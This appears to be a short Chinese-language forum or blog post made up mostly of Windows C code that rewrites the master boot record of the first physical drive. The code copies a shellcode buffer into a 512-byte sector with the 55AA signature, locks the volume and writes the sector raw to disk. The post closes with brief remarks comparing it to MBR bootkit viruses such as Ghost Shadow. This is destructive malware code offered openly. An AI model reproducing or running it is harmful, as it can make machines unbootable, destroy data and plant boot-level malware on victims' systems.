HANDLE hDevice;
DWORD dwBytesWritten, dwBytesReturned;
BYTE pMBR[512] = {0};
// 重新构造MBR
memcpy(pMBR, scode, sizeof(scode) - 1);
//MBR结束标记55AA
pMBR[510] = 0x55;
pMBR[511] = 0xAA;
//打开磁盘驱动
hDevice = CreateFile
(
"\\\\.\\PHYSICALDRIVE0",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE)
return -1;
//锁定卷
DeviceIoControl
(
hDevice,
FSCTL_LOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
// 写入内容
WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
//解除卷锁定
DeviceIoControl
(
hDevice,
FSCTL_UNLOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
CloseHandle(hDevice);
ExitProcess(-1); return 0;
运行效果
改写MBR的病毒还是比较多的，比如鬼影就是从MBR引导。。。
上次你研究的那个，也是鬼影吗？
很邪恶，吼吼，有意思。